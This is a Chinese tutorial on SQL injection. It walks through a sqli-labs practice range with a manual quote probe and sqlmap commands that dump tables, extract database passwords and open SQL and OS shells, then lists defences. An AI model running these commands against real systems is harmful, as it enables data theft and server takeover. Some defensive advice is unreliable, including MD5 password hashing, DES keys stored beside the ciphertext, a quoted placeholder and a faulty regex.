SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。
SQL注入攻击的主要危害包括:非法读取、篡改、添加、删除数据库中的数据;数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,攻击者盗取用户的各类敏感信息,获取利益。网页篡改:通过修改数据库来修改网页上的内容。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,攻击者私自添加或删除账号。网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。破坏硬盘数据,瘫痪全系统。
在sqlilabs靶场模拟攻击环境,以sqlilabs第一关为例,首先安装好sqlilabs靶场,这里是在Windows7虚拟机上安装的。
打开第一关的界面为http://192.168.42.128/sqli-labs-master/Less-1/
在第一关的URL后面构建一对键值对?id=1
如http://192.168.42.128/sqli-labs-master/Less-1/?id=1,则显示用户账号与密码数据
在URL中输入http://192.168.42.128/sqli-labs-master/Less-1/?id=1’判断是否存在SQL注入的传参数点
当前页面显示存在SQL注入的传参数点
此时我们打开kali虚拟机使用里面的SQLmap工具来检测,命令为
sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1
由上图可知,该处存在SQL注入,还知Web服务器的操作系统为Windows,Web应用技术为PHP 5.5.38加上Apache 2.4.39,数据库为MySQL 版本大于5.5。
再使用命令sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1 –dbs 列出当前服务器可用的数据库如果如下
查看当前使用数据库和当前使用数据的用户命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --current-db --current-user
当前用户为root,数据库为security
查看当前使用的数据库中有哪些表的命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" -D security --tables
Security数据库中有四张表分别是emails、referers、uagents和users。
查看Security数据库中的users表中的列名,查看其他表名同理,命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" -D security -T users –columns
User表中有三个字段分别是id,password和username
查看表中的三个字段的数据命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"
-D security -T users -C id,username,password --dump
判断当前数据用户是不是DMA的命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --is-dba
获取当前所有数据库的用户及当前数据库的用户密码命令为
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --passwords --users
上面那个红色区域是数据库中的当前所有用户账号,下面这个红色区域是当前数据库用户的密码,该账号的密码为空。
可以通过该命令运行自定义SQL语句,命令为sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --level 3 --sql-shell 和select * from users;
通过该命令可以执行任意操作系统命令
sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --os-shell
三、SQL注入防御
1、限制数据类型
在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步,限制了字字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。
2、正则表达式匹配传入参数(这里是PHP,其他语言也同理)
源码:
$id=$_POST['id'];
if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) {
die('stop hacking!');
} else {
echo 'good';
}
注释:
preg_match() 函数匹配传入的id值,
/ 作为正则的起始标识符
| 代表或
[A-Za-z] 表示匹配参数中是否存在大小写的26个字符
/d 匹配是否存在数字
+匹配一次或多次
/i 不区分大小写
例如像下面这句:
?id=1’ union select 1,2# 因为匹配到union select,输出 stop hacking!
3、函数过滤转移
在PHP中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义, 比如: ?id=1' and 1=1# ===> ?id=1/' and 1=1#
另外还有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。转义的符号包括 \x00 \n \r \ ’ " \x1a
4、预编译语句
预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。
String query="select password from users where username='?' ";
预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构,在这个例子中,即使攻击者插入类似 admin’ or 1=1# 的字符串,如果不做处理直接带入查询,那么query则变成了
query="select password from users where username='admin' or 1=1 ";
闭合了后面的引号,从而执行了恶意代码。而预编译则是将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了上面说到的SQL语句中的拼接闭合查询语句等过程,可以理解为字符串与sql语句的关系区分开,username此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。
下面给个php绑定变量的事例:
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1="Stuttgart";
$val2="DEU";
$val3="Baden";
//execute the statement
$stmt->execute();
5、对数据库的敏感信息进行加密
数据库中可以进行MD5算法加密插入到数据库中,像数据库中的用户的账号和密码以及涉及到用的个人隐私的。
也可以在插入数据之前使用DES算法加密,密文加密钥组合起来,例如password字段的数据,前十六位为密文,后十六位为密钥,则password等于密文(16位)加上密钥(16位)组合起来,其他表中的字段同理。
6、管理数据库的配置权限
使用安全的账号和密码策略,SQL Server具有一个超级用户账号,其用户名称是: SA,该用户名不能被修改也不能被删除,所以,我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号,新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库,其它用户根据实际需要分配仅仅能够满足应用要求的权限,不要给予多余的权限,所有用户(特别是超级用户)都要使用复杂的密码,同时养成定期修改密码的好习惯。
使用Windows 身份验证模式,SQL Server的认证模式有Windows身份认证和混合身份认证两种。应该使用Windows 身份验证模式,因为它通过限制对Microsoft Windows 用户和域用户账户的连接,保护SQLServer免受大部分Internet 的工具的侵害,而且,服务器也可以从Windows 安全增强机制中获益。这样就可以使数据库免受大部分Internet的工具的侵害。